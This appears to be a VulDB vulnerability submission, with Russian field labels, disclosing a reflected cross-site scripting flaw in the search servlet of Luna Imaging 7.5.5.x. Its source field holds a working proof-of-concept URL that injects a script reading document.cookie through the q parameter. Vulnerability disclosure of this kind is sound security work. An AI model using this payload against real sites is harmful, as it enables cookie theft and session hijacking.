| Название | Luna Imaging, Inc. Luna Imaging 7.5.5.x Cross Site Scripting |
|---|
| Описание | Hi,
I identified a vulnerability in luna imagic inc, where it was possible to trigger an xss via get.
https://software.lunaimaging.com/software/x.x.x.x/
[email protected] |
|---|
| Источник | ⚠️ https://example.com/luna/servlet/view/search?search=Enviar&cat=0&q=%22%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Casd%3E&dateRangeStart=&dateRangeEnd=%3Casd%3E&annotSearch=annotSearch |
|---|
| Пользователь | chor4o (UID 52584) |
|---|
| Представление | 07.06.2025 01:33 (1 Год назад) |
|---|
| Модерация | 19.06.2025 08:11 (12 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 313272 [Luna Imaging до 7.5.5.6 search q межсайтовый скриптинг] |
|---|
| Баллы | 15 |
|---|